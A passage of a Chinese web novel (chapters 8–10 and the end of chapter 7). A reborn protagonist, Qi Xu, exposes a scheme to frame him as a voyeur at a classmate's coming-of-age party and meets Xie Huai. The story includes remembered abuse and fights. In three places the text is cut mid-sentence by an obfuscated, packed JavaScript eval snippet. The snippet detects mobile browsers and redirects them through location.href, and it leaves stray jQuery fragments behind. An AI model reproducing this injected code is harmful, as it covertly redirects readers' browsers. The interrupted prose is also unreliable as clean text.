参加聚会之前,戚栩还出门了一趟,回来时沈泽予已经换了衣服,一身精致的行头,连头发丝都经过精心打理。 曾云看到戚栩姗姗来迟,催促:“小栩快上去换身衣服,可不能迟到了。” 戚栩带着一个礼品袋小跑着上楼,不到两分钟又拎着这个礼品袋下来。 “走吧。” 曾云犹豫着说:“怎么不换身衣服?是不是不知道穿什么。” 戚栩低头看了一眼自己的穿着,黑色外套,休闲裤运动鞋,他说:“我觉得这身衣服挺好的。” 曾云刚想说什么,已经在车上的沈泽予说:“妈妈,快要来不及了。” 戚栩拿着礼品袋上车,沈泽予用余光瞄了一眼,皱皱巴巴的也不不知道装什么垃圾。 上车后两人一句话都没有说,一是两人无话可说,二是戚栩睡了一路。 直到司机说了一句:“两位少爷,到方家庄园了。” 戚栩才睁开眼睛,环视四周,别无想法地下车。 沈泽予来过这边好几次,方家的小女儿方倩是他的同班同学,经常邀请他们到家里玩,有时候沈泽予会参加,有时候不会,取决于谢淮出不出席。 今日是方倩的成人礼,受邀都是亲近的好友同学以及同辈亲人,必定不会空手而来。 方家佣人熟练地到沈家后备箱拿上精美的礼品袋,跟在沈泽予身后。 而戚栩不紧不慢地跟在佣人身后,甚至还有心思随手碰了一下旁边的玫瑰花。 今日生日宴主人公方倩一袭高定粉色碎钻公主裙站在布置的花海中和小姐妹拍照,边上还有不少相熟的朋友,无一例外都是穿着礼服盛装出席。 沈泽予的出现引起了不少注意。 前段时间沈家抱错孩子之事沸沸扬扬,事后沈泽予出现过,也不过是在交好的圈子里活动,哪像今天这样的大规模聚会。 方倩见状朝沈泽予热情地打招呼:“学委,你来了,” 沈泽予笑了笑:“生日快乐,语文课代表。” 围了这一整圈都是他们班玩得好的同学,平时都是以班里职位称呼对方。 听到耳熟的称呼仿佛他们还在高三,一个个热情到不行。 “最后一次叫了啊,上了大学哪还有学习委员和语文课代表。” “羡慕一起上同一所大学的人,续高中情谊。” “班长和学委不就是,两人还是同一个专业,说不定是同一个班。” 沈泽予听到有人把学委和班长放在一起,心中阴霾瞬间消散。 宛如他们两个就是天生在同一个位置,同一个高度,就算不是真实姓名,单纯只是职位,但有明确的指向都会让他心情愉悦。 他看了一眼方家佣人,后者捧着一份礼物上前。 “这是我爸妈给你准备的成人礼物。”沈泽予也递上自己手上的礼盒,“这是我的,希望你喜欢。” 方倩开心地接过:“替我谢谢叔叔阿姨,也谢谢你为我准备礼物。” 沈泽予突然想起一件事:“对了,我二哥也来了。” 沈家大哥是沈枫凯,结合前段时间发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122219|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的事,那二哥是谁,不言而喻。 众人纷纷往后看,只见佣人,不见其他人。 突然,粉蓝花海中探出一颗头,表情疏淡和众人对视:“你们是在找我吗?” 一身黑衣藏着花海中的戚栩宛如黑暗使者,看似慵懒随性,一双琥珀色的眸子晕染着淡淡的疏离与冷漠,清俊的脸显得矜贵。 在场见过沈家夫妇的人不免惊叹。 “长得也太像曾阿姨了吧。” “其实也很像沈叔叔,神态很像,也很像沈大哥。” “这不是废话,亲生儿子哪有不像的。” 沈泽予听到这些议论声咬了咬牙,看着戚栩的眼神带着火苗:“二哥,这位就是方伯伯的小女儿方倩。” 二哥一响,没好事登场。 戚栩朝方倩走去,礼貌道:“祝你生日快乐。” 方倩是外貌主义者,颜控,长得这么好看的一个帅哥站在她面前对她说生日快乐,脸上的笑容异常灿烂。 “谢谢你的祝福,那个,帅哥,你叫什么名字?” 戚栩说了自己的名字后,方倩没忍住地说:“连名字都这么好听。” 一旁有人起哄:“这可是我们的方公主,一句生日快乐就给打发了?参加生日宴不带礼物吗?” 说话的人是宋家二少宋若明,平日跟沈泽予最要好,同个圈子经常一起聚会。 有了他开口,与沈泽予一起玩的朋友纷纷应和。 “也不是非得要礼物,就是一个心意。” “礼轻情意重嘛,课本都有教。” 按道理来说戚栩和方倩是第一次见面,两人并不相熟,沈家夫妇又为方倩准备了礼物,他的那一份心意也在里面。 可是在场的人没有一个人空手而来,或者又因为没人敢反驳宋若明的话。 因为宋家是医生世家,宋若明的父亲更是首都医院的院长,和各大家族当家人有密切联系。 此时的方倩看出了宋若明在故意刁难,皱眉不爽道:“宋若明,你生日还是我生日,轮得着让你帮我讨生日礼物吗?” 沈泽予默默地在看戏,戚栩没准备礼物更好,要是真准备礼物了,这个乡下人准备的礼物哪拿得出手,到时候又被嘲讽一番。 今晚过后戚栩没礼貌,没礼节,甚至是更严重的恶习,将会永远烙在这个刚被沈家认回来的亲生儿子身上。 在一片讨教声中,戚栩从礼品袋拿出一份没有包装的礼物,扫一眼刚刚说话的人,眸光晦涩不明:“还以为刚高考完大家都把脑子丢了,没想到还记得礼轻情意重,丢了一半没丢完。” 方倩惊喜地叫了一声“啊”,双眼发光:“你怎么知道我喜欢美乐蒂,这是限量版的玩偶。” 戚栩抬手放在沈泽予的肩膀上,神情放松,实则用力地捏住他的肩膀作以警告。 “当然是我的弟弟告诉我。” 一字一句透露出冷冽,力气之大仿佛要将他的肩膀捏碎。 根本没说过方倩的喜好的沈泽予瞳孔震了震,肩膀的痛楚让他回神,扬手拍开。 惊恐万分,直喘着气。 不知是谁喊了一声“班长来了”。 礼物插曲就此略过,所有人的目光放在了与白毛一同走进来那个高挑挺拔的身影上。 沈泽予不再去管戚栩,紧紧地盯着那人,不舍得把眼神放到其他地方。 站在方倩身前的戚栩低声道:“不要去一楼休息间。” 方倩闻言怔愣了一秒,反应过来的时候戚栩已经走到一旁。 8. 第 8 章 “阿淮,能不能走快点两步,怎么还有心思赏花。”徐亦辰边催边往后看。 只见身后的人凑近看着那一朵挂着水珠的玫瑰花,指尖碰掉了那水滴才满意地抬头。 谢淮单手捧着一份礼物,嘴角挂着点笑:“我挺有心思的,你是不是紧张了。” 徐亦辰被戳破了心思,嘴硬不承认,慌张地抓了一把自己的白毛:“我紧张什么,我……又不是我生日,我生日早过了,我现在是成年人。” 语无伦次,眼神闪躲,不自觉地舔唇,他不紧张谁紧张。 谢淮认同他的话,点头:“成年人了,已经不属于早恋的范畴。” 徐亦辰骂了一声,装不住了,试图在兄弟身上寻找自信心:“你说,我表白成功的几率有多少?” 谢淮抬手把凑到跟前白毛推到一边:“没染之前百分之五十,染了后-∞。” 徐亦辰倒吸一口凉气,转身想把头发给染回来,被谢淮提溜住衣领:“来回一趟生日宴都结束了。” 徐亦辰丧着个脸:“那怎么办?” 谢淮说:“让她戴上墨镜。” 徐亦辰:“……” 你还别说,这人的语气一本正经,看着像认真给他的意见。 徐亦辰顶着一头白发忐忑地走进生日宴,本以为自己会是全场最吸晴,然而全场的目光都被兄弟给抢走了。 包括自己喜欢的人。 该戴上墨镜的应该是他自己。 “班长,好久不见。” “谢师宴之后就再也没有见过班长,还以为再见就是大学生呢。” “班里的班干部齐了,就差老班。” 仿佛找到了主心骨,现场欢声笑语,朝气蓬勃的气息扑面而来。 谢淮不属于纯好学生这一类,是班长,并不全然为老师服务,更多偏向学生,会和老师进行周旋。 经常出没在小池塘边,围墙等地方,拿外卖,上学迟到爬围墙种种,地中海常年追逐的对象。 是周一升国旗学生代表,同时也是读检讨背上警告的学生。 有一次在网吧被地中海人赃并获,原因是谢淮带不动徐亦辰,段位一路朝黄金跌去,气得他打开奥数教学视频,看入迷了没来得及跑。 谢淮让老师又爱又咬牙,爱他的的学习成绩,爱他的性格,但有自己的想法,比同龄人更成熟,知道自己在做什么,比起老师和学生的关系,更多像平级对等的关系。 灯光和目光尽数拢在青年身上,谢淮穿着一件白衬衫,清爽又干净,嘴角噙着一抹笑看向众人,彬彬有礼,眼眸里始终没有落实点。 角落里戚栩悠闲地晃着酒杯看着场中央那个万众瞩目的身影,和依旧跟在他身边的沈泽予。 这是戚栩上辈子第一次见谢淮。 整个生日宴沈泽予都和他并肩站着,也包括后来发生休息室偷看事件,戚栩成为众矢之的,被所有人谴责,与谢淮交好的徐亦辰尤为愤怒。 戚栩和徐亦辰打了一架,矜贵的少爷怎么可能打得过从醉鬼手上锻炼出来的戚栩,就在戚栩握着拳头对着徐亦辰的脸打下去时,被谢淮拽住了手臂阻止。 不是责怪的眼神,而是担心,是对徐亦辰的。 他语气平静:“够了。” 戚栩满身戾气冷眼和他对视,挣脱了他的手。 谢淮身边总是跟着很多人,那些人见他出手,纷纷推搡着戚栩,将他隔开,讨伐并将他赶出生日宴。 从此,戚栩与这些少爷小姐聚会毫无干系,也落下了恶名。 戚栩以为变了,实则没变,谢淮永远都是人群中的焦点。 现在他才悟到当局者迷旁观者清的道理,和上一世一样,他永远都是格格不入的那个。 倏然,本该和身边人交谈的谢淮抬眸看向角落,戚栩猝不及防撞进那双黑白分明的眸子,眼神清明,没有探究,错愕一闪而过。 戚栩的手一顿,酒杯里摇晃的液体慢慢恢复平缓,他面色不改别开了眼神。 徐亦辰顺着谢淮的眼神看过去,认出了角落里的戚栩:“哎,那不是……” 沈泽予时刻关注着谢淮,抢过徐亦辰的话:“那是我的二哥戚栩,他第一次参加聚会不知道规矩,希望大家多多见谅。” 徐亦辰想到沈家前段时间抱错之事,又结合当时在网吧遇到对方穿海中的校服,脸上顿时变化万千。 他这人藏不住事,有话就说:“他不是海中的学生,为什么……” 一只节骨分明的手放在他的肩膀上,声音截然而止。 嘶,疼死了。 徐亦辰瞪着谢淮,后者微笑:“不是要去送礼物吗。” 徐亦辰和谢淮十几年好友哪会看不出这人在转移话题,撑伞撑上瘾了是吧。 他没继续说话下去,把手上的礼物递给方倩,眼神没敢正视她:“生日快乐,随便买的,不喜欢拉倒。” 方倩提起裙摆踢了徐亦辰一脚:“今天我生日,你能不能说话好听点,还有,你这白毛难看死了!” 徐亦辰默契地躲开没挨到踢,装模作样捂着小腿:“我俩从娘胎就认识了,每天都见面,好话年年都说,哪有那么多好话,我这 白毛帅呆了好不。” 两人一见面就掐架,众人已经习以为常。 还是谢淮把礼物递给方倩才阻止了这场小学生吵架,他再看向角落,那个人已经不见了。 沈泽予和宋若明对视相望,后者微微朝他点了点头。 沈泽予若无其事移开眼神,笑着问谢淮:“阿淮,若明说过几天出海,你去吗?” 谢淮放下手里的果汁,没有去看沈泽予,礼貌回绝:“应该没有时间,公司很忙。” 沈泽予紧张地扣着手指,期待看着他:“半天而已,不会耽误太多时间。” 谢淮的眼神停在了游泳池边上,应付道:“你们玩得开心。” 沈泽予的失望尽在眼底,还没来得及对谢淮说没关系,人被徐亦辰揽住肩膀带走了。 沈泽予羡慕地看着谢淮肩上的那只手,所以一同长大的情谊是这样,自然地身体接触,随意地开着玩笑话。 沈泽予怪父母为什么在他六岁的时候搬离了爷爷住的地方,不然他也会和谢淮一同长大,一起上学。 不至于高中才再次相遇,高三重新在一个班,还是他让曾云去联系谢淮的母亲,他们才得凭借长辈的关系才得以继续往来。 幸好,他们在同一个大学,同一个专业,以后多的是见面的机会。 没有人搭理的戚栩拿着酒杯离开角落,漫无目的地到处闲逛,走到泳池边上,一位单手捧着托盘的服务员迎面朝戚栩走来。 不知是被空气绊倒还是腿脚发育不全,踉跄了一下,整个人朝戚栩冲过来,戚栩把手上的礼品袋往后背上放,对方托盘上的酒全然洒在了他的衣服上。 瞬间一股浓烈的酒味扑面而来。 年轻的服务员诚惶诚恐双手合十,眼泪即将落下:“对不起对不起,求求你不要告诉主人家,这是我的第一份兼职,如果被组长知道了我就会辞退。” 戚栩冷漠地看着他:“没关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122220|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 服务员似乎没想到他这么好说话,央求的话哽在心头,半晌后他才说:“我带你去一楼休息间换衣服吧。” 戚栩说:“好。” 服务员小心翼翼观察着戚栩的表情,发现他并无异样,讨好地朝他说:“礼物贵重,我来帮你拿。” 说着便伸出手想拿过戚栩手中的东西。 戚栩冷冽的眼神看过去,眉眼间黑沉沉。 服务员心里一凛,被吓得不敢动作,一声不吭地带着人继续走。 前面就是休息间了,戚栩开口:“我可以自己去清理。” 服务员怕自己的行为引起怀疑,没有继续把戚栩带到休息室,只是默默地看着戚栩走进休息室的门厅。 就在服务员转身离去时,戚栩从门厅拐进隔壁小楼,径直地上楼直奔小阳台。 这个阳台周边爬满了绿植,隐秘而昏暗,同时正对着休息室正门高处可以将院子里外尽收眼底。 戚栩在栏杆上找了个位置架起手机,点开了录制功能,等待第二个他的出现。 无聊中他下意识摸口袋,竟给他摸出一盒烟,上午见李恺兴时这小子给他塞的,黄金叶。 说是昨天租下两层办公楼签下合同,对方出手大方给了他两盒,有福同享一人一盒。 戚栩重生后没抽过烟,一是这具身体还没烟瘾,二是他死前有意要戒烟,现在无痛戒烟。 他对自己的自控力没有信心,只要点燃一支烟,就会有第二根,第三根,乃至一整盒。 心里莫名有点烦躁,戚栩倚在栏杆边上,从烟盒拿出一根才发现没有打火机,更烦了。 吱呀一声,阳台门被推开了。 这个地方很隐秘,只有主人家才知道,还是长大后的方倩告诉他。 戚栩半个身子隐没在黑暗中,幽潭的眸子微微眯起直面闯入者,犹如一只蛰伏准备进攻的猛兽。 谢淮对上那双警惕的眼睛,并没有被吓退,还有心情开玩笑:“我没带武器,需要搜身吗?” 戚栩看到来人,警惕依在,试图从谢淮的眼神里寻找他到此处的目的。 无果。 依旧是那么的纯洁无害,和他身上的白衬衫一样。 和前两次见面不同,此时的戚栩浑身都是刺,一旦接近,必定会被扎得体无完肤。 “谢淮。”谢淮宛若看不到戚栩眼中的不欢迎,径直地朝他走去,“你呢?” 戚栩连警告的话都还没来得及说,对方已经站在了他的身旁。 “……” “戚栩。” 隔着酒味,戚栩能闻到他身上淡淡的香气,木质香,和他的沉木手串有点像。 谢淮垂眸,看着眼戚栩熟练地指尖夹烟的动作:“哦,在抽烟呢。” 戚栩:“……” 嘴头敲了敲烟盒,他翻开盖子将烟放回去。 谢淮闻到刺鼻的酒味,又说:“还喝酒了。” 戚栩本不想解释,但今晚他的确没有喝酒,不想任人冤枉。 “没喝,酒洒身上了。” 不多时,谢淮递过来一块灰色手帕和一包湿纸巾:“擦擦。” 衣袖上全是酒,隔着衣服紧贴皮肤,黏腻到不行。 戚栩犹豫了半秒接过谢淮的东西,转手把礼品袋递给他。 “今天不是我生日,还有礼物?”谢淮轻笑,“多少有点受宠若惊。” 然后他打开了看了一眼,一顶眼熟的帽子在里面。 谢淮脸上也不见尴尬,平静合上:“物归原主。” 9. 第 9 章 戚栩拉下外套的拉链,手已经放在衣服上,转头和那坦荡的眼神对视。 谢淮关心且热情地问:“需要我帮忙吗?” 戚栩冷漠地拒绝:“不需要。” 见对方并没有收回眼神的意思,戚栩脱下了外套,里面还穿了一件白色T恤。 他弯腰把外套放到椅子上,轻薄的衣料下脊椎骨微微凸起清晰可见,身形单薄,显得衣服松松垮垮,那劲瘦的腰看着一手就能圈住。 手臂内侧的软肉有一道结疤脱落变成嫩粉色的圆形伤疤,应该是刚痊愈,顺着手肘往下,小臂上还有深浅不一,已经变成浅褐色的伤痕,圆形,长痕,像是被什么东西烫伤和划伤。 戚栩正在低头擦黏腻的酒渍,蓦然被抓住了手臂,不重不轻,没有弄疼他,也让他不可轻易挣脱。 身后的人问:“怎么弄伤的?” 同是拽住手臂,上一世是劝架,这一世是担心,如果他没看错的话,也可能是灯光太暗他看得不清楚。 戚栩扫了一眼手臂上最新的伤,那是高考后他被绑在柴房,晚上戚国辉喝醉酒叼着烟摇摇晃晃地进来,嘴上说着养不熟的白眼狼,真以为自己真能远走高飞?做梦去吧,你永远都是姓戚。 戚栩凶狠地看着他,眸光深寒刺骨,狠厉而冰冷,像只刚成年的小狼崽。 戚国辉被这一眼吓得顿时酒醒了一半,两年前被打断的手臂隐隐做痛,他恨得咬咬牙将烟头直直地按在戚栩的手臂内。 浑浊的空气中混合着肉烧焦的味道。 灼热的疼痛让戚栩的脸色瞬间变得毫无血色,他忍着痛奋力而起一头把戚国辉撞到门框上,脑袋顿时鲜血直流。 酒彻底醒了,戚国辉惊恐地手脚并用爬出了柴房,并拿出两把锁重新锁上。 戚栩挣脱了谢淮的手,不太在意地说:“烟头烫伤。” 谢淮看着小臂上的划痕:“这些呢。” 戚栩的耐心几乎殆尽:“椅子腿,酒瓶,手边的任何东西,反正酒鬼都是这样,喝醉了就发酒疯。” 沈家“抱错”之事谢淮有所听闻,家中长辈在茶余饭后表示世间竟然有这种事,对两个孩子来说都是无妄之灾。 沈卓海在公众面前表示两个孩子视为己出,圈内人对他的做法表示赞许,不愧是大家族当家人的作风。 沈谢祖辈交好,在沈桌海一家还没搬离主宅时两家经常走动,但随着时间迁移,家族事业蒸蒸日上,沈卓海夫妻搬走,两家十几年甚少走动。 对于别人的家事谢淮没过多关注,但长辈嘱咐他要多加照顾沈家孩子,至于是哪一位不置可否。 “打你的人安然无恙?” 戚栩嗤笑了一声,似乎有些不屑地说:“断手,9级伤残。” 谢淮久久没有说话,这些娇贵少爷哪听过这种事,怕不是被吓傻了,就在戚栩准备下逐客令时,少爷终于开口了。 “那还是下手轻了点。” 戚栩似乎发现了什么有意思的事,玩味地看着谢淮:“高考成绩被屏蔽的好学生在教唆我犯罪?” 谢淮随意地靠着栏杆:“你怎么知道我高考成绩被屏蔽了?” 戚栩顿感无趣,擦完手臂后刚想把手帕扔进垃圾桶,明晃晃发现上面的logo,五位数的手帕,四位数的帽子。 果然是少爷做派。 楼下传来一声尖叫,戚栩顺顺势手帕放进口袋,走到栏杆边上。 只见一个穿黑色卫衣外套的男人低着头急匆匆逃跑,不久后,一位穿着方宅统一服装的女孩惊慌失措追了出来,一边跑一边喊:“有色狼。” 等到两人都彻底走出休息室后,戚栩才拿起栏杆边上的手机。 谢淮发现手机屏幕正在录像,也就是说戚栩提前在这里布置好一切,守株待兔,而且刚刚逃走的那个人穿着和戚栩一样的衣服。 戚栩关闭录像,恐吓这位未经世事的少爷:“刚刚你教唆我犯罪的过程被记录下来了。” 谢淮淡定地“哦”了一声:“太好了,我还以为要再说一次,这一次下手可别这么轻。” 前院正在进行生日许愿仪式,两层蛋糕上插着精美的蜡烛,方倩一身抹胸白色长裙站在蛋糕前,闭着眼睛许愿,还没吹蜡烛,佣人边哭边跑过来。 “小姐,一楼休息室有色狼。” 喊话的人是跟在方倩身边服侍的小季,领口的扣子还没有来得及扣上。 方倩见状赶紧让人拿一件衣服给小季披上,也不管自己的生日宴还没有结束,安慰她:“你先别哭,把事情的经过说清楚。” 小季紧紧抓着外套,哭红了眼圈:“我在一楼休息室换衣服,明明都已经锁门了,但有人藏在里面,我刚脱下外套,阳台外就闪过一个身影。” 听到熟悉的关键词,方倩心中一紧莫名地想起戚栩,她刚刚带着小姐妹到二楼换礼服了。 在场的都是些十七八岁心中充满正义的社会主义接班人,对这等恶劣事件表示愤怒。 “谁啊,吃了熊心豹子胆敢在我们方公主的生日宴上做出这种事。”宋若明有理有据地分析,“今天受邀的都是我们海中自己人,大家平时什么样都知根知底,应该不会做出这种事。” 有人应和他的话:“这里不一定都是自己人吧,戚栩不是第一次来参加我们的聚会吗?” 宋若明皱眉,似乎不认可他的话:“不可能吧,那可是沈家二少爷。” 又有人问小季:“你有没有看到偷窥的人穿什么衣服?” 小季抹掉眼泪,想了两秒后说:“穿黑色衣服,有帽子的。” “这不正是戚栩今晚的穿着吗?今晚每个人都盛装出席,只有他一个人穿休闲装。” “又没有人看见他往休息室那边去了。” “要不要查监控?” 方倩说:“那边监控坏了,还没来得及安装新的。” 众人身后响起一把弱弱的声音:“那个,我不小心把戚栩少爷的衣服弄脏了,刚刚带着他到一楼休息室换衣服。” 全场哗然一片。 “真是他!” “亏我还说他长得这么帅,原来品行这么让人作恶。” 沈泽予为戚栩辩解:“我二哥不是这样的人,光凭这些人的一己之言就此定罪吗?” 徐亦辰心头觉得不对,下意识地找谢淮,发现这人在关键时刻不见了。 你学弟都要被撕烂了。 就在所有人一众讨伐戚栩时,当事人气定神闲踱步过来。 “可以吃生日蛋糕了吗?” 戚栩此时只穿了一件白色T恤,黑色外套不知所踪,更有做贼心虚的嫌疑。 有人问:“戚栩,你的黑色外套呢?” 戚栩回:“沾了酒,脱了。” 他反问:“有问题吗?” 宋若明一副好人姿态:“没问题,服务员说你到一楼休息室换衣服了。” 戚栩否认:“没有。” 这一次更是诡辩。 小小的服务员怎么有胆子撒谎,这里每一个人非富即贵,都是有权有势的少爷小姐,就算不怕他们也会忌惮他们身后的家世。 “那你到哪里换的衣服,有人证吗?” 戚栩抬眼:“怎么?在审我?” 那人被戚栩的眼神吓得一悚,明明他才是嫌疑人,自己是在伸张正义。 宋若明再次跳出来:“戚栩,有人看到你到一楼休息室了,刚刚又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122221|164276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生了偷窥事件,我们大家都在前院庆祝生日,只有你不在,如果没有人证明,那你就是偷窥的变态。” 徐亦辰说:“这么轻易定论是不是太草率了,阿淮也不在,你是不是要说他也是嫌疑人。” 沈泽予比自己被诬陷还要着急:“阿淮怎么可能是嫌疑人。” 宋若明眉间有一丝不悦,忍住了,疯狂给戚栩按上罪名:“没想到你原来是喜欢偷看别人换衣服的变态,太恶心了,泽予还维护你,浪费他对你的信任,乡下来的果然拿不出手,饥不择食得连一个小佣人都不放过,没吃过好东西啊。” 宋若明说的这番话十分过火,已经上升到人格侮辱和牵扯到无辜的人。 方倩紧蹙眉头,但她一个女孩确实不好开口,徐亦辰见状当场呵斥:“宋若明你说什么呢,嘴巴放尊重点。” 戚栩环视了一圈,上一世和他打架的人为他说话,受害者也发生了改变,他明明改变了轨迹,这些人依然没打算放过他。 他平静地走到宋若明跟前,轻声道:“如果我现在报警,申请查那个服务员的入账明细,你说会不会查到你的转账记录。” “这么卖命替沈泽予出气,你看他正眼瞧过你吗?人家心里只有一个人,那个人永远都不会是你。” 字字句句宛如恶魔低语。 宋若明被人戳中了心中痛事,气血快速上涌,面容扭曲一把拽着戚栩的领子,即将一拳挥下。 那个看着弱不禁风,处在弱势的戚栩一手挡住了宋若明的拳头,反手将人擒于压倒在地,单膝重重跪在他后腰死死地抵住,扯着他的头发往地上摩擦。 上一秒看着好好的一人,下一秒莫名地有种难以言喻的疯感,让人毛骨悚然,也无人敢靠近。 宋若明发出惨烈的叫声,脸上都是血痕,声音发抖,还在嘴硬:“各位,戚栩恼羞成怒,还打人。” 就在众人准备上前拉开戚栩的时候,一群保镖走过来,谢淮悠哉地跟在后面看热闹。 穿着黑色卫衣的男人被保镖架住,看到宋若明忍不住开口喊:“表弟,救我。” 自身难保的宋若明一听到这个称呼心如死灰,他奋力挣扎想要逃走。 戚栩轻而易举将人拽起来,推到泳游池边上,一脚把宋若明踹进了满水的泳池。 人高马大的宋若明入水溅起了一片水花,戚栩用身躯挡在了蛋糕面前,对着方倩说:“遇水则发,切生日蛋糕吧。” 上一世时隔十年,方倩将自己成人生日宴的始端告诉戚栩,还是归国不久的宋若明醉酒后说漏嘴,不打自招,才得以让蒙受冤屈的戚栩得以沉冤得雪。 重来一世,戚栩怎么说也要保住方倩的成人生日宴圆满结束。 继而他和谢淮对视,后者挑眉:“不用说谢谢,都说了我叫雷锋。” 戚栩移开眼神没搭理他,这人出手的理由至今是迷。 这一次他的身份表露,不像网吧那次互不相识,就以他和沈泽予的关系,没这个道理帮他。 现场一片狼藉,方倩还是赶在蜡烛燃尽之前吹了蜡烛,切了生日蛋糕,成年生日总算有惊无险地完成。 只是事情还没有结束,戚栩成为全场新的瞩目焦点,他一把搂住脸色惨白的沈泽予。 在外人看来两人兄友弟恭,刚刚沈泽予还开口维护戚栩,不是亲兄弟胜似亲兄弟的感情。 “弟弟,人家要给你出气你没拒绝,按道理你也是参与者,是要定罪的。” 沈泽予浑身发抖,目光中含着恐惧,说不出一句话。 戚栩冷笑着把手上的蛋糕拍到沈泽予的脸上,沉声道,“你当你的优雅少爷,我当我乡下来的野小子,和和平平不好么,非得招惹我。” 10. 第 10 章 今晚发生的事惊动了方家长辈,刚开始大家还以为是孩子的小打小闹,后来看到宋若明脸上的伤痕以及可能涉及民事案件,在场都是各家少爷小姐,不能在方家出现一点差错,方家家主不得不出面处理。 当事人被安排在偏厅,湿身的宋若明和被蛋糕糊了一脸的沈泽予被带下去清理。 小季狠狠地瞪着穿黑衣服的男人,要不是被保镖拦着,她已经上去甩他两巴掌,再给他□□来一脚。 黑衣服的男人看着二十出头,没有小姑娘扛得住事,缩着一团瑟瑟发抖。 只有戚栩一边翻看刚刚拍的视频一边悠闲地盘珠子,不多时,旁边坐下一个人。 这件事什么时候出现第六人。 戚栩闻声看去,谢淮正拿起桌上的茶杯,看到对方在看自己还问:“要喝吗?” 戚栩问:“你怎么在这里?” 谢淮不慌不忙抿了一口茶才说:“害怕你把我教唆你犯罪的证据交上去。” 这人嘴里就没一句真话,真是这么害怕,早在阳台把他的手机抢走删视频。 戚栩上下看他说:“那你想怎么做,杀人灭口?” “收买你吧。”谢淮语气随意,也没怎么过心,单纯只是想挑起一个话题,“你喜欢什么?” 戚栩几乎确定谢淮是要留在这里看热闹。 他说了个俗不可耐的喜好,当然也是每个人都无法拒绝的东西:“钱,你打算出多少钱买断这个视频。” 万一呢,谢淮是真有钱。 方家当家人方嘉城的出现打断了两人不算正当的买卖交易。 方嘉城和每位家族当家人一样,保养得非常好,穿着黑色新中式盘扣衬衫,头发一丝不苟,鹰眼般的眼神扫视全场,威严十足。 小季怯生生地喊了一句:“先生。” 那所谓宋若明的表哥更是,见到方嘉城抖得更厉害了。 戚栩不咸不淡看了一眼方嘉城,继续低头看手机。 方嘉城见状放在戚栩的身上的眼神更有压迫感,后者宛若察觉不到,没有丝毫反应。 大智若愚,还是真的没有一点眼力见。 倒也不见得是害怕,方嘉城听说宋家小少爷和沈家小少爷的惨状都是出自这位沈家刚认回来的少爷的手笔。 “方叔。”谢淮坦然自若和方嘉城问好。 方嘉城审视的眼神在听到这声称呼时尽数消失,笑得格外和蔼:“阿淮啊,今晚发生这样的事方叔叔先跟你说声不好意思,你没受伤吧。” 谢淮从小被谢秦两家带着出席大场面,炼就了见人说人话见鬼说鬼话的技能,熟络地接下话:“是我们要跟方叔说一声抱歉,方倩筹备已久的成人生日宴被别有用心的人利用,叨扰了方叔休息。” 戚栩上辈子没见过谢淮说鬼话,高高在上的太子爷,只有别人对他阿谀奉承,他对别人爱答不理。 这多新奇啊,戚栩没忍住多看了两眼。 谢淮注意到戚栩的眼神,在和长辈说话的间隙侧头询问对方怎么了。 戚栩似乎没想到谢淮还有闲心搭理他。 他也没反应过来,下意识地眨了眨眼。 两人旁若无人的对视,眨眼,宛如默契地安抚和回应,无人能够融入,看得方嘉城不得不出声。 “这位就是沈家的二儿子,戚栩是吧,我是你爸爸的至交,跟着阿淮叫我方叔就行。” 戚栩收回放在谢淮身上的眼神:“方叔。” 方嘉城坐在主位,开始处理今晚所发生的事,先是当事人小季,她再次将自己遭遇如实说出来。 再是那位无故出现在生日宴的陌生男人,只不过他一声不吭。 方嘉城耐心十足,转而看向戚栩:“年轻气盛动手很正常,总要有个理由。” 戚栩说:“他污蔑我是偷窥狂,现在不动手更待何时。” 方嘉城:“……” “那为什么对你的弟弟沈泽予动手,他也这件事有关联?” 戚栩对此无奈地表示:“有没有关联我不知道,这就需要你们大人去查,我只是一个刚十八岁的成年人,没这么大能耐。” 他直视方嘉城,语气波澜不惊:“过生日糊脸,我看你们城里人不都是这样玩。” 谢淮倚着靠背看向戚栩的眼神越发感兴趣,淡漠,冲动,残暴,小孩子脾性,还有在阳台未卜先知,到底哪个才是真正的戚栩。 穿着海中的校服查看校园贴吧,买古玩出手阔绰,到今天出手狠厉,游刃有余应对年长上位者。 又或者全都是假象,这个人至今深藏不露。 今天戚栩看他的眼神带着警惕性。 谢淮回想这一次见面和前两次见面的区别。 似乎明白了一点。 沈家内部并不是如表面看上去那么风平浪静,一视同仁这四个字一开始就已经偏离轨道。 戚栩对沈泽予下手这么果断,可以说是带着私人恩怨。 众所周知谢淮是沈泽予的“竹马”,他可能是被连坐了。 戚栩这人由里到外都特别有意思。 